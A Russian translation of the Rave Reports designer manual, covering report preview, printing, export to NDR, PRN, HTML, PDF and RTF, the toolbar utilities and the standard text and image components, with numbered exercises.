Отставшие функции напрямую влияют на просмотр отчета на окне просмотра. Вторая секция кнопок на панели, это пункты в меню Page, которые используются для навигации между страницами. Кнопки для управления данными функциями сделаны привычными для пользователей баз данных, поскольку они выполняют похожие функции. Первая кнопка используется для перемещения на первую страницу отчета. Вторая кнопка для перемещения на предыдущую страницу отчета. Третья для перемещения на следующую страницу и последняя на последнею страницу отчета. На панели есть индикатор, показывающий текущую страницу и общее количество страниц. Этот индикатор страниц, также используется для перемещения на конкретную страницу, введя номер в поле ввода. Или используя пункт Go to Page в меню Page. Например, введя 10 в данном поле, мы перейдем на 10 страницу отчета (при условии, что есть 10 или более страниц).
Масштабирование также доступно в просмотре. Иконка лупы, с символом плюса увеличивает масштаб изображения страницы, а с символом минуса уменьшает. Есть также поле для указания коэффициента масштабирования вручную. Просто введите число в данном поле, и просмотр будет масштабирован на указанный процент.
Есть также два предопределенных значения, для быстрого масштабирования. Первое Fit to Page Width – установить масштаб по ширине страницы. И второе Fit to Page, вписать всю страницу в размеры окна. Это может использоваться для просмотра страницы целиком на экране. Побочным эффектом этого является то, что страницу будет видно целиком, но содержимое будет трудно читать. Обычно это используется для общей оценки отчета.
Выход их просмотра может быть сделан, или нажатием на иконку с изображением двери, или нажатием на стандартную иконку закрытия окна "X", как и для всех остальных стандартных окон Windows.


Вывод на принтер

Вывод на принтер
Печать может быть выполнена, как указано ранее, через окно просмотра или напрямую при выполнении отчета и выбора вывода на принтер в области Report Destination. Надо заметить, что диалог Output Options немного отличается от диалога в Rave Designer и Print Preview.
Диалог Output Options, который вызывается из дизайнера Rave Designer, имеет больше параметров, чем просто печать как показано на картинке.
В диалоге Output Options имеется кнопка Setup для печати. Кнопка расположена под кнопкой Cancel и используется для настройки принтера перед печатью. Это включает такие параметры, как печать в режиме портрет или альбом, разрешение принтера, глубина цвета, размер бумаги и другие.
Диалог также включает такие параметры, как количество копий, порядок сортировки копий и дуплексная печать.
В диалоге Output Options, вызванном из просмотра отчета (смотри картинку), доступно несколько дополнительных параметров. Параметр Print Range имеет три установки. «All» означает печатать все страницы отчета. «Selection» означает печатать отдельные страницы отчета, не обязательно подряд, например "1,3,5,7" или "1,9-5,20". «Pages» означает печатать диапазоны страниц, например "1-10" или "15-19".


Вывод в файл

NDR и PRN файлы
Печать в файл может быть выполнена несколькими путями. Мы обсудим два, которые могут быть сделаны прямо из диалога Output Options. Диалог Output Options доступен при выполнении отчета (используйте клавишу F9 или выполните через меню Project).
Файл NDR это внутренний формат Rave, снимок отчета. Файл NDR может быть открыт и просмотрен из окна просмотра, но не может быть изменен или отредактирован в дизайнере Rave.
Файл PRN это Native Printer Output файл. Когда данный параметр выбран, информация, которая обычно посылается на принтер для печати, посылается в файл. Данный файл получает имя, указанное пользователем.
Для создания файла, просто выберите нужный формат и затем укажите имя в поле ввода File.
Файл формата NDR также можно сделать, используя пункт Save As из меню File окна просмотра. Используйте выпадающее меню Save as и выберите имя файла для создания NDR файла.
Есть также и другие пути печати в файл. Здесь только два формата. Мы обсудим PDF и HTML файлы в следующей главе.

HTML
Rave имеет возможность печатать отчеты как HTML файлы. Это дает возможность просто создавать отчеты доступные через Интернет и Интранет. HTML файлы могут быть созданы в визуальном дизайнере и в окне просмотра.
Для сохранения отчета, как HTML файла из визуального дизайнера, во-первых, вызовите Output Options диалог. Сделайте это с помощью пункта Execute Report из меню Project или клавишей F9.
В диалоге Output Options, выберите параметр File в области Report Destination. Используя выпадающее меню Format, выберите тип HTML. Щелкните по иконке диска, выберите путь, где сохранять файл и имя HTML файла.
После сохранения отчета и отформатирован, полезно сначала просмотреть отчет. Просмотр отчета выполняется выбором пункта Preview в диалоге Output Options. После просмотра отчета выберите Save As в меню File. Это вызовет диалог Save File, откуда отчет может быть сохранен в HTML.
Для сохранения в HTML формате, в выпадающем меню Save as, выберите HTML файлы. Затем ведите имя нового HTML файла в поле ввода File name. Когда будете готовы, нажмите кнопку Save.
Каждая страница отчета, будет сохранена как отдельный HTML файл. Например, трехстраничный отчет произведет три страницы HTML. На каждой странице будут ссылки на предыдущую или следующую страницы. Однажды сохраненный HTML файл можно будет просматривать любым браузером.

PDF
Подлинно полезный отчет, этот тот отчет, который может использоваться на различных платформах. Rave дает эту возможность через создание PDF файла. Отчет может быть сохранен в PDF формате, и затем через использование бесплатного продукта Adobe Acrobat Reader, любой человек может открыть, просмотреть и отпечатать отчет.
Это доступно через пункт Execute Report (и также F9) в меню визуального редактора File или через пункт Save As меню File в просмотре отчета. Использование просмотра отчета, позволяет пользователю просмотреть отчет перед выводом в файл PDF формата.
После выбора Execute появится диалог Output Options, из которого можно выбрать формат. И также указать имя PDF файла.
В просмотре отчета, используйте пункт Save As, который выведет диалог Save File, откуда Вы можете сохранить отчет в PDF формате, также указав имя файла.
Для сохранения в PDF, в выпадающем меню Save as, выберите Adobe PDF. Затем, укажите имя нового PDF файла в поле ввода File name. Затем нажмите кнопку Save.

RTF
Rave также позволяет сохранять отчет в RTF файле (Rich Text Format). Данный формат файла можно загружать во многие текстовые процессоры для широкого спектра задач. Например, ваш отчет может быть включен документ компании как приложение. Или отчет, может быть загружен в текстовый процессор, затем некоторые строки, для привлечения особого внимания, могут быть отредактированы (раскрашены или выделены жирным шрифтом).
Это доступно через пункт Execute Report (и также F9) в меню визуального редактора File или через пункт Save As меню File в просмотре отчета. Использование просмотра отчета, позволяет пользователю посмотреть отчет перед выводом в файл RTF формата.
После выбора Execute появится диалог Output Options, из которого можно выбрать формат. И также указать имя файла.
В просмотре отчета, используйте пункт Save As, который выведет диалог Save File, откуда Вы можете сохранить отчет в RTF формате, также указав имя файла.
Для сохранения в RTF, в выпадающем меню Save as, выберите Adobe PDF. Затем, укажите имя нового RTF файла в поле ввода File name. Затем нажмите кнопку Save.


Упражнения

Упражнение 9: изменение предпочтений печати
Смена назначения печати
1. перед началом выполнения данного упражнения, создайте новый проект и поместите несколько видимых компонент на страницу;
2. во-первых, перейдите в закладку Printing Preferences, или с помощью иконки Edit Preferences на панели дизайнера, или выберите пункт Preferences в меню Edit;
3. выберите Printing в области Preferences (с левой стороны окна);
4. посмотрите на область Print Destination и выберите Preview;
5. теперь закройте окно, нажав кнопку OK;
6. выполните отчет, нажав клавишу F9 или пункт Execute в меню File;
7. когда появится диалог Output Options, убедитесь, что пункт Preview отмечен. Нажмите кнопку Cancel для окончания;
8. теперь откройте снова Printing Preferences и выберите Printer как Print Destination. Нажмите кнопку OK для окончания;
9. выполните снова отчет и в диалоге Output Options, убедитесь, что теперь выбран Printer.
Изменение настроек
1. перед началом выполнения данного упражнения, создайте новый проект и поместите несколько видимых компонент на страницу;
2. во-первых, перейдите в закладку Printing Preferences, или с помощью иконки Edit Preferences на панели дизайнера, или выберите пункт Preferences в меню Edit;
3. затем, убедитесь, что Preview выбрано в области Print Destination;
4. снимите отметку Show Output Options Dialog в области Output Options.
5. выберите OK для закрытия диалога Preferences;
6. выполните отчет, нажав клавишу F9 или пункт Execute в меню File. Обратите внимание, что диалог Output Options теперь не появляется; вместо этого теперь сразу начинается просмотр отчета. Если принтер был выбран в области Print Destination, то отчет посылается на принтер;
7. для возращения обратно вызова диалога Output Options, перейдите в Printing Preferences и снова поставьте отметку на Show Output Options Dialog в области Output Options.
Линии сетки и параметры просмотра
1. перед началом выполнения данного упражнения, создайте новый проект и поместите несколько видимых компонент на страницу;
2. во-первых, перейдите в закладку Printing Preferences, или с помощью иконки Edit Preferences на панели дизайнера, или выберите пункт Preferences в меню Edit;
3. затем убедитесь, что Preview выбрано в Print Destination, и снимите отметку с Show Output Options Dialog, в области Output Options. Мы будем работать с Preview в данном упражнении, поскольку использование Print Destination и Show Output Options Dialog, для выполнения быстрее в Preview;
4. находясь в диалоге Printing Preferences, убедитесь, что начальные значения для параметров Preview Grid и Preview Options точно такие, как показано на рисунке.
5. нажмите OK, для выхода;
6. выполните отчет и просто посмотрите на окно просмотра;
7. теперь закройте окно просмотра и откройте Printing Preferences;
8. В параметрах Preview Grid, измените Horizontal Spacing и Vertical Spacing на 1. затем измените цвет;
9. нажмите OK, для выхода;
10. выполните отчет и обратите внимание на линии сетки. Данные линии не появятся в отчете на бумаге, но здесь они нужны для оценки форматирования.
11. теперь закройте просмотр и перейдите снова в Printing Preferences. Измените Line Style в области Preview Grid на Dash. также, смените Initial Window State на Minimized.
12. затем в Preview Options, смените Ruler Type на BothIn. Это покажет обе измерительные линейки в дюймах в просмотре. Также смените Shadow Depth на 10.
13. нажмите OK, для выхода;
14. выполните отчет;
15. обратим внимание, что вначале просмотр минимизирован. Это достигнуто установкой параметра Initial Window State. Для расширения окна нажмите первую или вторую кнопки;
16. один раз восстановите, и максимизируйте отчет. Обратим внимание на некоторые вещи. Во-первых, мы видим пунктирные линии сетки на странице. Это может быть полезно для определения выравнивания на странице. Также увидим обе измерительные линейки. И с правого края страницы мы увидим глубокую тень;
17. По окончанию вернемся в диалог Printing Preferences. Возвратим все установки обратно в их начальное значение. Рисунок показывает нам наши значения. Данные значения нам потребуются в следующем упражнении.

Упражнение 10: создание системно независимых файлов
1. перед началом, создайте новый проект и поместите не него четыре страницы с текстом и объектами;
2. свяжите все четыре страницы вместе. Выбор страниц и свойств панели был рассмотрен в предыдущей главе. Выберите первую страницу и в панели свойств, используя, выпадающее меню в GotoPage выберите Page2. сделайте это для каждой из страниц. Выберите page 2 и сделайте GotoPage равным Page3. Выберите page 3 и сделайте GotoPage равным Page4;
3. затем перейдите в окно просмотра путем выполнения отчета. Выберите Preview из диалога Output Options.
4. вверху окна просмотра на панели, должно быть поле ввода, в котором было число 1. теперь там должно быть Page 1 of 4.
Навигация по просмотру
5. поскольку теперь более одной страницы, используйте кнопки навигации на панели или меню Page. Используйте Go to Page # для перехода на любую страницу отчета.
6. затем, используя инструмент zoom, сделайте отчет удобным для просмотра страниц отчета. Это также позволит вам перемещение по просмотру.
Создание NDR файла через просмотр
7. для создания NDR файла (файл снимка Rave) из окна просмотра, выберите пункт Save As меню File;
8. когда появится диалог Save File, в выпадающем меню Save as type выберите NDR files. И введите имя в поле ввода File name, например мы Text.ndr. Нажмите Save для выхода;
9. хотя файл уже в окне просмотра, попробуем открыть Test.ndr файл;
10. выберите Open в меню File;
11. появится Open File диалог. Найдите файл Test.ndr в той папке, куда Вы его поместили. Нажмите Open, для выхода;
12. просмотр будет выглядеть точно также, поскольку мы не изменяли отчет. Но, посмотрим наверх окна просмотра, там показывается имя просматриваемого файла. Если же Вы будете просматривать различные NDR файлы, их имена всегда будут показываться там. Ничего в NDR файле не может быть изменено; этот путь только для просмотра отчета.
Создание PDF файла через просмотр
13. поскольку нам этот файл больше не нужен, закройте окно просмотра. Выполните файл и выберите снова Preview.
14. теперь выберите пункт Open из меню File. (от переводчика, из дальнейшего контекста, похоже, что имеется в виду Save AS)
15. в диалоге Save File, выберите Adobe PDF в выпадающем меню Save as type. Затем укажите имя в поле ввода File name, например test.pdf.
16. Нажмите Save, для выхода;
17. в данной точке мы можем перейти туда, где мы сохранили наш файл и открыть PDF файл. Если у вас нет программы просмотра PDF, то сходите на http://www.adobe.com/ и загрузите бесплатный вариант.
Создание HTML файлов
18. в окне просмотра выберите Open из меню File;
19. в диалоге Save File, выберите HTML File в выпадающем меню Save as type. Затем укажите имя в поле ввода File name;
20. Нажмите Save, для выхода;
21. Теперь мы можем перейти туда, где мы сохранили наш файл. Мы сохранили наши html файлы в My Documents. Обратите внимание, что здесь четыре страницы test.html, с последовательными номерами после слова test. Каждая страница в отчете представлена отдельным файлом;
22. ниже показана первая страница test.html. заметим, что внизу есть ссылки для навигации по страницам.

Упражнение 11: печать отчета через просмотр
1. в окне просмотра выберите пункт Print из меню File;
2. появится диалог Output Options. Используйте любой диапазон страниц для печати;
3. по окончанию закройте окно просмотра;
4. затем выполните отчет и выберите принтер. Это пошлет отчет на принтер.

Упражнение 12: печать в файл (NDR и PRN)
1. выполните Execute и выберите File;
2. в выпадающем меню Format, есть только два выбора. Rave Format (.NDR) и Native Printer Output (.PRN).
3. сделайте ваш выбор.
5. в поле ввода File, укажите имя файла;
6. нажмите OK для выхода


Панели утилит

Есть панели и есть панели
Несмотря на то, что все панели названы панелями, на самом деле есть два различных типа, отличающихся типом функций, это панели инструментов и панели компонент.
Инструменты обычно предназначены для изменения элементов, расположенных на странице, обычно компоненты. А компоненты это объекты, помещаемые на страницу, например регион (Region), графические примитивы (Shape), линии (Line) и штрих коды (Barcode). Для более подробной информации смотрите главу «Обзор компонент».
В данной главе мы рассмотрим панели инструментов, на которых расположены (палитра цветов, инструменты выравнивания и другие.), предназначенные для изменения компонент. Панели инструментов включают: панель выравнивания (Alignment), панель палитры цветов (Color Palette), панели заполнения (Fill), панель редактора шрифтов (Font Editor), панель редактора линий (Line Editor), панели проекта (Project) и панель масштабирования (Zoom).

Использование инструмента
Панели утилит над компонентами и дизайнером страниц. Компонент на странице должен быть выбран до использования панели. Например, для изменения цвета заполнения квадрата, выберите квадрат, затем выберите нужный цвет.
С помощью правой мышки, выберите компонент, и появится контекстное меню, позволяя доступ до пунктов изменения компонента. Данные функции доступны также и с панелей, но просто контекстное меню дает быстрый и простой доступ.


Панель выравнивания

Панель выравнивания используется для выравнивания, упорядочивания и перемещения групп компонент на странице. Важно заметить, что некоторые функции имеют смысл, только если выбрано более одного компонента.
Первый шаг выбрать компоненты, которые требуется выровнять. Для выбора нескольких компонентов, удерживайте клавишу shift и указывайте мышью каждый компонент, который требуется выровнять.
Для большинства функций выравнивания. Первый выбранный компонент определяет позицию выравнивания. Например, при выборе выравнивание влево, все выбранные компоненты выравниваются относительно первого выбранного компонента. Красная линия на иконке показывает тип выравнивания.
панель выравнивания разделена на четыре секции. Первые две секции управляют горизонтальным и вертикальным выравниванием. Все компоненты могут быть выровнены по краю, центру или по расстоянию между ними.
Порядок выравнивания определяет Z порядок (глубину по оси Z) между компонентами. Порядок выравнивания не требует, что бы было выбрано более одного компонента. Для установки Z порядка выберите компонент и вызовите контекстное меню. Из подменю Order выберите одно из четырех действий: переместить вперед (Move Forward), переместить назад (Move Behind), поместить наверх (Bring to Front) или поместить вниз (Send to Back). Рисунок справа показывает прямоугольник над эллипсом. Для перемещения эллипса позади прямоугольника, выберите в контекстном меню пункт Send to Back из подменю Order.
Есть еще четыре кнопки на панели выравнивания, это инструмент для перемещения, который позволяет перемещать компонент или группу компонент. Для перемещения выбранных компонент, нажимайте на соответствующую стрелку для перемещения в нужном направлении.


Панель дизайнера

Панель дизайнера используется для управления предпочтениями страницы. Все элементы панели дизайнера
имеют два состояния, свойство компонента, ассоциированное с данной клавишей, меняет свое состояние. Для смены на обратное состояние нажмите на кнопку еще раз. Отжатая кнопка показывает состояние выключено, а нажатая состояние включено.
Activate Grid Делает сетку страницы видимой/невидимой
Snap To Grid Привязка объектов к узлам сетки
Grid On Top Определяет, что сетка находится над компонентами или под ними
Always Show Band Headers Управляет показом заголовков групп (band)
Show Rulers Показывает, убирает измерительные линейки
Show Waste Area Управляет показом пространства между границами страницы и концом настройки границ
Edit Preferences Вызывает диалог предпочтений


Панель палитры цветов

палитра цветов используется для смены цвета компонента или цвета заполнения выбранных объектов, таких как линии, текст или область заполнения одного из графических примитивов (круг, эллипс, прямоугольник или квадрат). Палитра цветов разделена на несколько секций, которые показывают пользовательские, стандартные или текущие цвета. Левая кнопка, с правой стороны, определяет первичный, а правая вторичный текущий цвета. Все остальные прямоугольники на палитре цветов позволяют выбрать цвет.
Для смены цвета объекта, выберите компонент и затем левой или правой кнопкой мыши выберите цвет из палитры. Левая кнопка выбирает цвет объекта (первичный цвет), а правая цвет фона (вторичный цвет).
Когда выбран первичный цвет, символ "1" помещается на индикатор цвета на палитре. Соответственно, символ "2" указывает на вторичный цвет.
Для смены цвета объекта (например, Rectangle), выберите его и затем нажмите на нужном вам цвете левой кнопкой мыши. Для смены цвета заполнения, выберите нужный цвет правой кнопкой мыши.
Двойной щелчок, на цвете назначаемым пользователем, (правая сторона) или цвет переднего плана и фона вызывает редактор цвета (Color Editor). В диалоге, пользовательские цвета могут быть созданы путем установки красного, зеленого и синего цветов, также и насыщенность цвета, уменьшая или увеличивая процентное соотношение цвета.
для создания и сохранения нового цвета, используйте один из пользовательских цветов для ввода в редакторе цвета, затем нажмите клавишу New Color и выберите нужный цвет из диалога цвета. При вызове редактора цветов из одного из пользовательских цветов, новый цвет сохраняется. Если редактор цветов вызывается из первичного или вторичного цвета, цвет сохраняется в эти места, если выбран new color (или щелчком левой или правой кнопки мыши или созданием другого цвета).
Важно заметить, что действительные видимые цвета зависят от настроек компьютера. Если здесь есть цветные объекты, то при переносе отчета с одной системы на другую проверьте, настройки цветов дисплея. При 256-цветныех установках используется только 256 цветов для показа, а при True Color используются миллионы цветов. Для примера, если отчет был создан в True Color, и затем перенесен на систему с 256 цветами, некоторые объекты могут появиться искаженными или иметь неверные градации цвета.


Редактор шрифтов

Редактор шрифтов
редактор шрифтов может использоваться для смены типа, размера, атрибутов и выравнивания некоторых текстовых компонентов. Его поведение и функционирование очень похоже на панель шрифтов в некоторых текстовых процессорах.
Для изменения установок шрифта текстового компонента, во-первых, выберите компонент. Тип шрифта можно выбрать из выпадающего списка. Аналогично размер можно выбрать из списка доступных размеров. Кнопки (B) Жирный, (I) Курсив и (U) подчеркнутый , переключают состояние текста. Для установки жирного шрифта, просто выберите компонент Text и нажмите на кнопку «B». Клавиша будет находиться в нажатом состоянии до тех пор, пока на нее повторно не нажмут или фокус не перейдет к другому текстовому объекту, который не имеет такого установленного атрибута. Кнопки «I» и «U» работают аналогично. Здесь также есть еще и три кнопки выравнивания текста внутри области и показывают тип выравнивания внутри области, в которой они находятся, это выравнивание влево, вправо и по центру. Все текстовые компоненты имеют свойство Font, которое появляется в панели свойств при выборе компонента. Любые изменения сделанные в свойстве Font, отражаются и на панели редактора шрифтов.
ПРИМЕЧАНИЕ: важно заметить, что если шрифт, выбранный на машине разработчика не доступен на другой машине, Rave назначит какой ни будь другой подобный выбранному шрифт.


Редактор линий

Используйте редактор линий для изменения стиля и толщины линии или границ графических примитивов. Панель редактора линий имеет несколько вариантов для выбора стиля линии (непрерывная или комбинация точек и тире).
Для смены стиля линии, сначала выберите линию или графический примитив, затем выберите размер в пунктах из Hairline. Окончательно выберите стиль линии.
Для смены толщины непрерывной линии, сначала выберите линию или графический примитив, затем выберите требуемый размер.
Стиль линии (тире, точки), появляется только тогда, когда толщина линии выбрана как hairline. Если линия установлена в определенный стиль (например, тире) и затем ей присваивается толщина, другая чем hairline, то стиль линии изменяется на непрерывный.


Панель проекта

Панель проекта
панель проекта предоставляет базовую функциональность для проекта. Это дает быстрый доступ для выполнения общих задач при управлении проекта. Все функции панели доступны и через меню Rave.
Первые три иконки управления проектами:
New Project Создает новый проект
Open Project Открывает предыдущий сохраненный проект
Save Project Сохраняет текущий проект
Следующие три иконки управляют специфическими аспектами текущего проекта:
New Report Создает новый отчет, который будет в том же самом файле проекта (.rav file). Может иметь более одного отчета на проект в файле проекта
New Global Page Создает новую глобальную страницу
New Data View Позволяет создать новый просмотр данных DataViews, который ассоциирован с текущим проектом. Смотрите главу «Подключение данных» для получения более подробной информации о DataViews.
Две последние иконки управляют текущим выбранным отчетом:
New Page Создает новую страницу в текущем отчете
Execute Report Выполняет или печатает текущий отчет


Панель масштабирования

Панель масштабирования, позволяет пользователю, с помощью Zoom In просмотреть более подробно детали документа, а Zoom Out увидеть общий образ страницы. В панели масштабирования есть несколько путей для работы с документом.
Выпадающее меню масштабирования по проценту, содержит несколько предопределенных значений для уменьшения или увеличения образа страницы. Просто выберите желаемый коэффициент. Если ни одно из них вас не устраивает, то просто введите свое значение в поле ввода.
Другой метод получения нужного размера, это использования иконки лупы с крестом. Перетяните данный инструмент на нужную область, которую надо увеличить.
Для простого изменения размеров, есть две иконки лупы с символами "+" и "-". Ничего не требуется выбирать, что бы использовать данный инструмент. Каждое нажатие на иконку увеличивает и уменьшает образ на значение установленное в предпочтениях. Для установки этого параметра, выберите пункт Preferences в меню Edit. Далее перейдите на закладку Designer. В области, называемой "Zoom Increment", увеличьте или уменьшите величину шага, с помощью кнопок вверх/вниз или просто кажите нужный процент.

Для изменения размера, выбранных элементов, используйте лупу с символом прямоугольника из точек. Вначале, выберите нужные элементы и затем щелкните по иконке. Видимая область будет кадром выбранных элементов.

Используйте кнопку "Page Width" для установки размера по ширине текущей выбранной страницы.
Используйте кнопку "Whole Page" для показа полной текущей страницы.


Упражнения

Упражнение 13: выравнивание компонент
В данном упражнении мы продемонстрируем, как выравнивать компоненты. Например, есть шесть пронумерованных строк текста.
1. в начале, бросьте несколько компонент Text на страницу. В данном примере это пронумерованные строки 1-6;

2. строки два, четыре и пять должны быть выровнены. Строки три и шесть также должны быть выровнены;

3. выберите строку два. Это задаст первичный компонент, относительно которого будут выравниваться остальные;

4. удерживая клавишу shift, выберите строки четыре и пять, которые будут выровнены относительно строки два; заметим, что появилась граница с маркерами серого цвета;

5. поскольку все компоненты уже выбраны, нажмите на иконку Align Left Edges на панели выравнивания. Заметим, что все три компонента выровнялись по левому краю;

6. что бы посмотреть, как работает выравнивание, нажмите иконку Align Right Edges на панели выравнивания;

7. пройдитесь по оставшимся функциям панели выравнивания и посмотрите, как они работают;
8. попробуем теперь выравнить второй набор строк. Сначала выберите первичный компонент, как базу для выравнивания, в данном случае, это строка три;

9. затем выберите другие компоненты, которые Вы хотите выравнить, удерживая клавишу shift, выберите строку шесть;

10. затем нажмите на иконку the Align Left Edges для выравнивания компонент.

Упражнение 14: порядок компонент
Для изменения порядка компонент по Z-оси, должны использоваться иконки на панели выравнивания.
1. чтобы начать упражнение, нам нужны компоненты на странице. Это могут быть любые компоненты. В данном примере используются прямоугольник, овал и круг;

2. сначала выберите компонент, который будет перемещать. В примере будем перемещать прямоугольник за овал. Посмотрим в дереве проекта размещение компонента Rectangle;

3. как только прямоугольник будет выбран, нажмите иконку Move Behind на панели выравнивания. Заметим, что после нажатия прямоугольник еще никуда не поместился, но в дереве проекта уже сменил свою позицию на шаг выше;

4. теперь нажмите на иконку Move Behind button еще раз. Прямоугольник переместился и в дереве проекта на странице за овал;

5. для второго компонента, выберите круг и нажмите на иконку Move Behind. Круг переместился по дереву ин странице за овал;

6. щелкните по иконке Move Behind еще раз и заметьте, что круг перемещается по дереву, но остается сзади овала;

Упражнение 15: привязка к сетке
Привязка к сетке перемещение относится к перемещению и изменению размера компонент к узлам сетки на странице.
1. сначала, вызовите диалог Preferences, пункт Preferences меню Edit;
2. выберите закладку Default и посмотрите в область Grid Spacing;
3. В Grid Spacing смените, значение на .02. затем посмотрите на область, называемую Draw Grid Every;
4. в Draw Grid Every, введите 1 line (напечатайте или используйте выпадающий список). Draw Grid Every 1 line, будет показывать каждую строку сетки. Если это сменить на Draw Grid Every 3 lines, то будет показана только каждая третья строка сетки;
5. затем перейдите в меню Project и выберите New. Это создаст новый проект, также и новую страницу отчета, которая будет базироваться на предпочтениях, которые мы сменили в предыдущих шагах. Помните, что линии сетки используются только для разработки отчета и не показываются при его исполнении;
6. прейдите в панель дизайнера и нажмите на иконку Snap To Grid;
7. теперь бросьте прямоугольник на страницу;
8. затем перемещайте прямоугольник и обратите внимание, что прямоугольник перемещается только по сетке. Попробуйте сделать тоже самое кнопками перемещения.
9. опять перейдите в панель дизайнера и нажмите на иконку Snap To Grid, для отключения привязки;
10. пробуйте перемещать прямоугольник и обратите внимание, что теперь прямоугольник перемещается и между узлами сетки.
Упражнение 16: изменение размера линии и цвета прямоугольника
1. создайте новый отчет;
2. бросьте прямоугольник на страницу;
3. посмотрите на панель палитры цветов. Обратите внимание, что на конкретных цветах есть символы 1 и 2, которые указывают первичный и вторичный цвета;
4. что бы сделать изменение цвета более заметным в примере, мы изменим ширину линии прямоугольника. Перейдем на панель редактора. Выберем прямоугольник. Затем изменим в выпадающем списке толщину линии. В примере сменено с hairline на 2.25 пункта;
5. Щелкните левой кнопкой мыши на любом цвете в панели цветов. В данном примере был выбран цвет Olive. Заметьте, что цвет границы сменился на оливковый цвет. Также обратите внимание, что изменился первичный цвет. Первичный цвет определяет цвет границы;
6. Щелкните правой кнопкой мыши на любом цвете. В примере был выбран цвет Blue. Заметим, что прямоугольник закрасился синим цветом. Также заметим, что изменился вторичный цвет. Вторичный цвет определяет цвет заливки.
Упражнение 17: смена шрифтов
1. создайте новую страницу отчета;
2. бросьте на нее четыре компоненты Text;
3. выберите компонент и посмотрите на панель шрифтов;
4. в выпадающем меню отображаются имена шрифтов, выберите подходящий шрифт;
5. перейдите на следующий компонент, и повторите шаги 3 и 4. повторите это же для оставшихся компонент;
6. Также попробуйте изменять размеры шрифтов. И конечно атрибуты Bold, Italic и Underline;
7. Три оставшихся кнопки управляют выравниванием влево, вправо и по центру. Попробуйте поработать и с ними.


Стандартные компоненты

панель стандартных компонент содержит семь компонент: Text, Memo, Section, Bitmap, Metafile, FontMaster и PageNumInit. Некоторые из стандартных компонент используются очень часто при разработке отчета. Данная глава приводит детальное объяснение первых пяти. Оставшиеся два (FontMaster и PageNumInit) будут объяснены в главе «Расширенные компоненты».
Доступ до панели стандартных компонент аналогичен доступу до других панелей. Если она не присутствует на экране, то ее можно показать через меню Tools подменю Toolbar.

Компонент Text
Компонент Text полезен для отображения одной строки текста в отчете. Работает подобно ярлыку, который может содержать простой текст (но не данные). Когда он размещается в отчете, вокруг появляется рамка, которая показывает границы. Ее видно только при выборе компонента (вместе с маркерами).
Компонент можно использовать для ярлыков, например графических рисунков, переменного текста, титулов формы и другого, что нужно представить строкой текста.
Когда компонент выбран, длина текста может быть изменена с помощью маркеров. Заметим, что высота текста само настраиваемая и не требует вмешательства пользователя.
Подобно другим текстовым компонентам, здесь есть свойство Font, которое позволяет изменить тип, размер и стиль. Цвет можно изменить с помощью свойства Color. Текст, отображаемый на экране, задается свойством Text.
Здесь есть также дополнительное свойство Rotation, которое можно использовать для поворота на указанный градус. Эффект виден только в ран тайм.

Компонент Memo
Компонент Memo подобен компоненту Text. Основная разница в том, что Компонент Memo может содержать множество строк текста. Memo можно использовать для зон с объяснениями и для заголовков и комментариев, содержащих более одной строки.
Подобно компоненту Text, рамка вокруг Memo появляется при его выборе. При установке шрифта Memo, все строки текста имеют тот же самый шрифт. Нет возможности иметь различные шрифты для отдельных частей текста.
Для изменения текста в Memo, перейдите в панель свойств и используйте свойство. Свойство Text показывает "(Memo)" и кнопку эллипс, с тремя точками. Нажмите на кнопку эллипса. Это откроет редактор текста. Текст может быть введен в этом редакторе.
Одна из основных проблем при использовании много строчных компонент, то, что текст может накладываться на другие компоненты. Для предотвращения этого, установите свойство ExpandParent в True. Это позволит расширять родителя компоненты Memo для надлежащего поведения компонента Memo.
Как только текст введен, Memo можно расширить. Текст внутри Memo одновременно будет перестроен. Если окажется, что часть текста пропала из просмотра, после ввода текста, просто измените размер, что бы весь текст был видимым.

Компонент Section
Компонент Section используется для группирования компонент. Это предоставляет такие преимущества, как возможность одновременного перемещения всех компонент секции, без выбора компонент для перемещения.
Для использования компонента Section, сначала нажмите на копку компоненту и затем с помощью стрелок сделайте выбор на странице. Когда выбор позиции будет закончен, то появится рамка с маркерами зеленого цвета. Внутри данной области, можно размещать любые компоненты, которые необходимо сгруппировать.
Дерево проекта становится очень полезным при работе с компонентом Section. В развернутом дереве, очень просто увидеть, какие компоненты входят в каждую секцию. Каждая секция и компонент может быть просто выбрана путем выбора объекта в дереве.
Если объект размешен сзади видимой области секции, дерево проекта может быть использовано для выбора объекта. Как только объект выбран, рамки с маркера появятся вокруг объекта. Объект затем может быть удален или помещен (совет: для перемещения используйте кнопки перемещения на панели выравнивания).
Несмотря на то, что связи отношений видны между деревом проекта и компонентом Section, есть необходимость в понимании связи родетель-ребенок между компонентами. Для чтения об этих типах связи смотрите главу «Связи родитель-ребенок». Компонент Section также становится очень важным при зеркальном отражении. Зеркальное отражение будет обсуждено в главе Managing Report Projects (примечание переводчика: такая глава отсутствует в документации и это очень важная часть концепции RAVE). Сейчас же просто знайте, что компонент Section становится главным, и при использовании технологии зеркального отражения чрезвычайно полезным.

Компоненты Bitmap и Meta файлы
Компоненты Bitmap и Meta файлы позволяют размещать изображения в отчете. Битмапы поддерживают файлы с расширением ".bmp", а MetaFile поддерживают файлы с расширением ".wmf" и ".emf".
Для вставки изображения, сначала нажмите, или на BMP или на META кнопках панели стандартных компонент, затем выберите позицию на странице. Рамка размещения с символом X появится на странице, и эта рамка может быть больше чем изображение, которое будет в ней. Это можно исправить после загрузки изображения.
Как только место для BMP или META появится на странице, можно перейти в панель свойств и выбрать свойство FileLink. Нажмите на эллипсе, кнопка с тремя точками.
Это вызовет диалог Open. Найдите свой файл образа и нажмите кнопку Open. Как только изображение загрузится, измените размеры места с помощью маркеров.

Упражнение 18: Text или Memo
Принять решение, что использовать Text или Memo очень просто. Если это только одна строка текста, то используйте компонент Text. Используйте компонент Memo, если у вас более одной строки.
Размещение и изменение компонента Text:
1. Выберите компонент Text, размещенный на панели стандартных компонент. Кнопка компонента изменит свой цвет, для индикации.
2. Поместите компонент на страницу. Также заметим, что новый компонент добавится и в дерево проекта.
3. Перейдите в панель свойств измените имя компонента.
4. В свойстве Text, измените текст по умолчанию на подходящий.
5. Посмотрите на панель свойств и на страницу. Заметьте, что дерево проекта показывает новое имя компонента. Так же, компонент на странице показывает введенный текст.
Размещение и изменение компонента Memo:
1. Выберите компонент Memo, размещенный на панели стандартных компонент. Кнопка компонента изменит свой цвет, для индикации.
2. Поместите компонент на страницу. Также заметим, что новый компонент добавится и в дерево проекта.
3. Перейдите в панель свойств и измените, имя компонента. Это изменит имя и в дерево проекта.
4. В панели свойств выберите свойство Text. Нажмите на эллипс, кнопка с тремя точками (…).
